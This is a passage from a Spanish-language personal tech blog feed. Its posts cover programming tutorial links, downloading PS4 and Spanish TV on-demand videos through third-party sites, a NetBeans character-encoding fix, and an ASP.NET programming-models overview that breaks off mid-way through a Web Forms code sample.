Saludos a todos.waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-84071718101971110992014-04-05T18:37:00.001+02:002014-04-05T18:43:40.182+02:00Web con tutoriales y todos los elementos de XML, XSLT, XPATH, XFO, XSD, HTML, CSS, ASP, PHP, C++. Ejercicios resueltos.Buenas, os dejo un iframe y enlaces a una web donde vienen ejercicios resueltos, ejemplos, tutoriales y todos los elementos de distintos lenguajes de programación como XML, XSL, XPATH, DTD, CSS, JAVA, C++, PHP, ASP, HTML, etc...<br />
<br />
<iframe height="900" src="http://www.tic2.org/WebTecnica/NavegacionPub/Programacion/Programacion.htm" width="100%"></iframe><br />
<br />
<a href="http://www.tic2.org/WebTecnica/NavegacionPub/Programacion/Programacion.htm" target="_blank">http://www.tic2.org/WebTecnica/NavegacionPub/Programacion/Programacion.htm</a><br />
<a href="http://www.w3schools.com/xml/default.asp" target="_blank">http://www.w3schools.com/xml/default.asp</a>waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-4867247086174178142014-03-21T19:21:00.001+01:002014-03-21T22:00:57.824+01:00Descargar los videosclips de PS4 y pasarlos a youtube.Buenas, pues en este post os indico como poder descargar en mp4 y hd los vídeos que hayáis capturado con vuestra Play 4 (PS4) a través del botón SHARE.<br />
<br />
Lo primero que tendréis que hacer es vincular vuestra cuenta de PSN a Facebook, para que los vídeos que grabéis se puedan subir al facebook. Una vez que estén en el Facebook, simplemente en vuestro vídeo buscáis la opción que os indique "Copiar el enlace del vídeo" y os dará una dirección URL.<br />
<br />
Esa dirección la introducís en esta web: <a href="http://es.savefrom.net/" target="_blank">http://es.savefrom.net/</a> y ahí os saldrá un vínculo para descargar vuestro vídeo tanto en HD como SD.<br />
<br />
Una vez hecho esto ya lo podréis subir a vuestro canal de Youtube.<br />
<br />
Gracias y espero haberos ayudado.waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-20622914842354337302014-01-12T22:32:00.001+01:002014-01-12T22:32:19.710+01:00Libro Curso de Java - Librería Swing Awt - Objetos atributos métodos y eventos. Os dejo un enlace con un libro en pdf con todo lo necesario para aprender JAVA.<br />
<br />
<a href="http://dis.um.es/~bmoros/privado/bibliografia/cursoJava.pdf" target="_blank">http://dis.um.es/~bmoros/privado/bibliografia/cursoJava.pdf</a><br />
<br />
Saludos.waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com1tag:blogger.com,1999:blog-360011364486521176.post-70157393879410987992014-01-05T22:29:00.003+01:002014-04-11T17:01:41.663+02:00Descargar Vídeos de antena 3 modo salón, a3player, Rtve a la carta, Mitele, la sexta. Descarga directa y fácil.<br />
<div style="text-align: justify;">
<span style="background-color: white; color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;">Si quieres descargar los videos de tus series favoritas y no sabes como descargarlos de manera directa de la web, sin esperar a que hagan un torrent de la serie o del programa, o por el contrario lo suban a un servidor, ya sea rtve a la carta, antena 3 en modo salón, o telecinco, cuatro u la sexta. Solo debemos meternos en esta web. </span></div>
<br style="background-color: white; color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px; outline: none 0px;" />
<a href="http://www.descargavideos.tv/" target="_blank">http://www.descargavideos.tv/</a><br />
<a href="http://www.descargavideos.tv/rtve" target="_blank">http://www.descargavideos.tv/rtve</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.descargavideos.tv/rtve" rel="nofollow" style="background-color: white; border: 0px; color: #006595; cursor: pointer; font-family: Helvetica; font-size: 13px; font-weight: bold; line-height: 19px; margin: 0px; outline: none 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><img border="0" src="http://website.informer.com/thumbnails/280x202/d/descargavideos.tv.png" /></a><span id="goog_1443200767"></span><span id="goog_1443200768"></span><a href="http://www.blogger.com/"></a></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;"><br /></span></div>
<span style="background-color: white; color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;"></span><br />
<div style="text-align: justify;">
<span style="background-color: white; color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;">Solo basta con meternos en la web y en donde dice URL ponemos la dirección exacta de la página en la cual nosotros veríamos el video a la carta. </span></div>
<span style="background-color: white; color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;">
</span>
<br />
<div style="text-align: justify;">
<span style="color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;"><br /></span></div>
<span style="background-color: white; color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;"></span><br />
<div style="text-align: justify;">
<span style="background-color: white; color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;">Cuando se nos genere un link le damos a boton derecho y guardar como y ya descargaremos el video que queremos ver. O si utilizáis ese enlace en el Jdownloader se os descargará a la máxima velocidad. Normalmente el formato es mp4. </span></div>
<span style="background-color: white; color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;">
</span>
<br />
<div style="text-align: justify;">
<span style="color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;"><br /></span></div>
<span style="background-color: white; color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;">Simple, fácil y rápido.</span><br />
<span style="background-color: white; color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;"><br /></span>
<span style="background-color: white; color: #222222; font-family: Helvetica; font-size: 13px; line-height: 19px;">Saludos.</span>waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com2tag:blogger.com,1999:blog-360011364486521176.post-70772382008738544582013-12-05T16:12:00.003+01:002013-12-05T16:12:58.418+01:00Humor Informático - Programador Novato y Experto<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTW3vhgTCHuLws8jXVMMDREn0RYmy-ll2mMoJtpt3Z62virQxFUcxySO9Fyf_1qfIqms1BSP4ZendeD4JpMLrxJM19IpdF06fwCRmJWYl7Iwdz8jdZRaLwnAkpc9FXOVyz8St3UU6Ew0c/s1600/humornovato.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTW3vhgTCHuLws8jXVMMDREn0RYmy-ll2mMoJtpt3Z62virQxFUcxySO9Fyf_1qfIqms1BSP4ZendeD4JpMLrxJM19IpdF06fwCRmJWYl7Iwdz8jdZRaLwnAkpc9FXOVyz8St3UU6Ew0c/s640/humornovato.jpg" width="361" /></a></div>
<br />waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-21656443856730624682013-11-29T19:52:00.001+01:002013-11-29T20:04:20.962+01:00Java Netbeans - No lee ni imprime ñ, caracteres especiales, acentos. Codificación de caracteres. UTF-8 o ISO-8859-1<div style="text-align: justify;">
Al realizar algunos programas en Java con Netbeans, me aparecía un error, y es que al intentar leer caracteres especiales, acentos o la letra ñ daba fallo. Este problema es debido a la codificación de caracteres de Netbeans (Encodig), por defecto pone la codificación UTF-8 y hay que cambiarla a ISO-8859-1. Abajo del artículo os dejo la definición de la codificación de caracteres.<br />
Hacer estos pasos en netbeans:<br />
<br />
1.- Si ya se tiene abierto el proyecto en Netbeans, click secundario en el titulo del proyecto en el Navegador de Proyectos y elegir la opción "Properties".<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhha4tQgRD8FloCOuXn7HVeKKYsJqiCmnBMWRKpZM6OEWSuYwOTP9kCr7w87k3KLEBUsqEBRdoJ-g9lDJ5FCqPUwydhGxKYGhl0htP8tqJUpiZA2P39n5JKTFXjq7fmeRnAxCgYhXKXO9nd/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhha4tQgRD8FloCOuXn7HVeKKYsJqiCmnBMWRKpZM6OEWSuYwOTP9kCr7w87k3KLEBUsqEBRdoJ-g9lDJ5FCqPUwydhGxKYGhl0htP8tqJUpiZA2P39n5JKTFXjq7fmeRnAxCgYhXKXO9nd/s320/1.JPG" width="320" /></a></div>
<br />
<br />
<br />
<span style="background-color: white; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 18px; text-align: left;">2.- Hasta abajo viene el Encoding aqui viene por defecto el UTF-8, solamente entre las opciones buscar y seleccionar la codificación ISO-8859-1, es equivalente al ASCII. Eso es todo, con esto los problemas de codificación de caracteres deben estar resueltos.</span><br />
<span style="background-color: white; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 18px; text-align: left;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmiDDZyhsDeB_SG0L8sVs-xTObOZGl1_Hp9wWMB-EccWUfWWyV9Wxnv230cd4CXuxYDiO3-J6KFSMhoUPKZMWWh6XVyh6scVs9D6vUxD_a4Uc0-xvB_3wx5hxvSTtdpO37QToBwt2oxyYu/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmiDDZyhsDeB_SG0L8sVs-xTObOZGl1_Hp9wWMB-EccWUfWWyV9Wxnv230cd4CXuxYDiO3-J6KFSMhoUPKZMWWh6XVyh6scVs9D6vUxD_a4Uc0-xvB_3wx5hxvSTtdpO37QToBwt2oxyYu/s320/2.JPG" width="320" /></a></div>
<span style="background-color: white; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 18px; text-align: left;"><br /></span>
<br />
<span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;"></span></span><br />
<div style="text-align: justify;">
<span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;"><b><u>Formatos:</u></b></span></span><br />
<div style="font-weight: normal;">
<br /></div>
<div>
<span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;"><b>UTF-8<span style="font-family: sans-serif;"> (8-</span><a href="http://es.wikipedia.org/wiki/Bit" style="background-image: none; color: #0b0080; text-decoration: none;" title="Bit">bit</a><span style="font-family: sans-serif;"> </span><i>Unicode Transformation Format</i><span style="font-family: sans-serif;">) </span></b></span></span><br />
<div style="font-weight: normal;">
<span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;"><span style="font-family: sans-serif;"><br /></span></span></span></div>
<div style="font-weight: normal;">
<span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;"><span style="font-family: sans-serif;">Es un formato de codificación de caracteres </span><a href="http://es.wikipedia.org/wiki/Unicode" style="background-image: none; color: #0b0080; text-decoration: none;" title="Unicode">Unicode</a><span style="font-family: sans-serif;"> e </span>ISO 10646<span style="font-family: sans-serif;"> utilizando símbolos de longitud variable. </span><span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; line-height: 1.4;"> </span>Sus características principales son:</span></span></div>
<ul style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; font-weight: normal; line-height: 1.4;"><span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;">
<li style="margin-bottom: 0.1em; text-align: justify;"><span style="font-weight: normal;">Es capaz de representar cualquier carácter Unicode.</span></li>
</span></span></ul>
<ul style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; font-weight: normal; line-height: 1.4;"><span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;">
<li style="margin-bottom: 0.1em; text-align: justify;"><span style="font-weight: normal;">Usa símbolos de longitud variable (de 1 a 4 bytes por carácter Unicode).</span></li>
</span></span></ul>
<ul style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; font-weight: normal; line-height: 1.4;"><span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;">
<li style="margin-bottom: 0.1em; text-align: justify;"><span style="font-weight: normal;">Incluye la especificación <a href="http://es.wikipedia.org/wiki/ASCII" style="background-image: none; color: #0b0080; text-decoration: none;" title="ASCII">US-ASCII</a> de 7 bits, por lo que cualquier mensaje ASCII se representa sin cambios.</span></li>
</span></span></ul>
<ul style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; font-weight: normal; line-height: 1.4;"><span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;">
<li style="margin-bottom: 0.1em; text-align: justify;"><span style="font-weight: normal;">Incluye sincronía. Es posible determinar el inicio de cada símbolo sin reiniciar la lectura desde el principio de la comunicación.</span></li>
</span></span></ul>
<ul style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; font-weight: normal; line-height: 1.4;"><span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;">
<li style="margin-bottom: 0.1em; text-align: justify;"><span style="font-weight: normal;">No superposición. Los conjuntos de valores que puede tomar cada byte de un carácter multibyte, son disjuntos, por lo que no es posible confundirlos entre sí.</span></li>
</span></span></ul>
<span style="font-family: sans-serif; font-size: 13px; font-weight: normal; line-height: 1.4;">Estas características lo hacen atractivo en la codificación de correos electrónicos y páginas web.</span><br /><span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;"><span style="font-weight: normal; line-height: 1.4;"><br /></span>
<b><span style="line-height: 1.4;">ISO 8859-1</span><span style="line-height: 1.4;"> </span></b></span></span><br />
<div style="font-weight: normal;">
<span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;"><span style="line-height: 1.4;"><br /></span></span></span></div>
<div style="font-weight: normal;">
<span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;"><span style="line-height: 1.4;">Es una norma de la </span><a class="mw-redirect" href="http://es.wikipedia.org/wiki/Organizaci%C3%B3n_Internacional_para_la_Estandarizaci%C3%B3n" style="background-image: none; color: #0b0080; line-height: 1.4; text-decoration: none;" title="Organización Internacional para la Estandarización">ISO</a><span style="line-height: 1.4;"> que define la codificación del alfabeto latino, incluyendo los diacríticos (como letras acentuadas, ñ, ç), y letras especiales (como ß, Ø), necesarios para la escritura de las siguientes lenguas originarias de Europa occidental.</span></span></span></div>
<div style="font-weight: normal;">
<span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;"><span style="line-height: 1.4;"><br /></span></span></span>
<span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;"><span style="line-height: 1.4;">Espero que os sirva,</span></span></span></div>
<div style="font-weight: normal;">
<span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;"><span style="font-weight: normal;"><br /></span></span></span>
<span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;"><span style="font-weight: normal;">Saludos!!!!</span></span></span></div>
</div>
</div>
<span style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 1.4;"><span style="font-family: sans-serif; line-height: 19.1875px;">
</span></span>
</div>
waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com9tag:blogger.com,1999:blog-360011364486521176.post-284346453016154702013-11-16T21:00:00.000+01:002013-11-16T21:03:34.948+01:00Tipos de programación ASP.NET - Web Forms - MVC - Web Pages<h3 style="border: 0px; clear: both; color: #3a3e43; font-family: 'Segoe UI Semibold', 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 18px; line-height: 1.4; margin: 3px 0px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Introducción</span></h3>
<h3>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px; text-align: justify;">
<span style="background-color: white;">Actualmente, ASP.NET soporta tres modelos de programación: ASP.NET Web Forms, ASP.NET MVC y ASP.NET Web Pages. Aunque los tres modelos de programación se ejecutan sobre la misma base de ASP.NET, cada uno de ellos estructura la aplicación de maneras completamente distintas, promueve metodologías de desarrollo diferentes y se adapta a perfiles de desarrolladores distintos. Algunas características que son virtudes en unos modelos de programación, pueden ser consideradas debilidades en el otro. ¿Qué es más importante, desarrollar a un gran nivel de abstracción o tener control total cada uno de los aspectos de la aplicación? Simplicidad vs. Control. Flexibilidad vs. Eficiencia. Estas son las compensaciones que hay que baremar a la hora de elegir. En esta serie de artículos repasaremos las diferencias entre los tres modelos de programación, y los escenarios favorables a cada uno de ellos.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px; text-align: justify;">
<span style="background-color: white;">Es importante recalcar que el hecho de elegir uno de los modelos de programación al comenzar un proyecto de ASP.NET no excluye necesariamente a los otros, sino que es posible tener aplicaciones “híbridas” y en muchos casos tendrá todo el sentido desarrollar ciertas partes de la aplicación con un modelo de programación y otras partes con otro modelo distinto.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px; text-align: justify;">
<span style="background-color: white;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">ASP.NET Web Forms</strong> fue el primero de los tres modelos de programación en existir, y proporciona un gran nivel de abstracción con un modelo de programación familiar basado en eventos y controles que favorece la productividad mediante la programación declarativa reduciendo la cantidad de código necesaria para implementar una determinada funcionalidad.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px; text-align: justify;">
<span style="background-color: white;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">ASP.NET MVC</strong> se concibió como alternativa a Web Forms y proporciona un modelo de programación basado en el popular patrón de arquitectura MVC. Entre sus principales características destacan su completa integración con pruebas unitarias y su separación más clara entre la lógica de presentación, la lógica de negocio y la lógica de acceso a datos.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px; text-align: justify;">
<span style="background-color: white;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">ASP.NET Web Pages</strong> es el más reciente de los tres modelos de programación, y fue creado como respuesta a una creciente demanda de desarrolladores web sin experiencia previa con ASP.NET, cuya iniciación en ASP.NET Web Forms o MVC les suponía una inversión inicial de tiempo demasiado grande. Web Pages proporciona un modelo de programación más simple y rápido de aprender, sin renunciar a toda la funcionalidad y flexibilidad de ASP.NET.</span></div>
</h3>
<span style="background-color: white;"></span><br />
<a name='more'></a><br />
<br />
<h1 style="border: 0px; clear: both; color: #3a3e43; font-family: 'Segoe UI Semibold', 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 22px; line-height: 1.25; margin: 5px 0px; outline: 0px; padding: 0px;">
<span style="background-color: white;">ASP.NET Web Forms</span></h1>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<br /></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">ASP.NET es uno de los pilares fundamentales del Framework .NET, y durante muchos años Web Forms fue el único modelo de programación disponible. Cuando nació, Web Forms introducía novedades importantes respecto a otras tecnologías de desarrollo web como ASP, PHP o JSP. Una de las más significativas era la separación entre el código de servidor y el <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">markup</em> HTML.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">La estructura típica de una página Web Forms se compone por un lado de un fichero <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">*.aspx</em> en el que se define la estructura HTML y se añaden declarativamente los controles de servidor de la página (hablaremos en detalle sobre controles de servidor más adelante). Por otro lado tenemos el fichero de código <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">code behind, *.aspx.cs</em> o <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">*.aspx.vb</em> dependiendo del lenguaje de programación elegido, en el que se implementa el código de servidor de la página. Posteriormente, ambos ficheros se compilan en ensamblados que contienen el código de servidor que genera el HTML emitido al ejecutar la página.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">La unión entre ambos ficheros se realiza mediante la directiva de página del fichero *.aspx (“<em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><%@ Page … %></em>”) en la que se especifica el nombre de la clase de la que hereda (“<em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">Inherits</em>”) y el fichero de código fuente (“<em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">CodeBehind</em>”) donde se implementa dicha clase, también conocido como el <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">code behind</em> de la página.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">WebForm.aspx</strong>:</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_5020a028c1604a0c8805dec4295fb5ad" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><%@ Page Language=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"C#"</span> AutoEventWireup=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"true"</span> CodeBehind=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"WebForm.aspx.cs"</span> Inherits=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"AdventureWorksWebForms.WebForm"</span> %></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><!DOCTYPE html PUBLIC <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"-//W3C//DTD XHTML 1.0 Transitional//EN"</span> <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><html xmlns=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"http://www.w3.org/1999/xhtml"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><head runat=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"server"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <title>ASP.NET Web Forms</title></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"></head></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><body></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <form id=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"form1"</span> runat=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"server"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <div></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <asp:Label ID=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"MyLabel"</span> runat=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"server"</span> Text=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Hello World!"</span>></asp:Label></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <asp:Button ID=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"MyButton"</span> runat=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"server"</span> Text=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Run"</span> /></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </div></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </form></li>
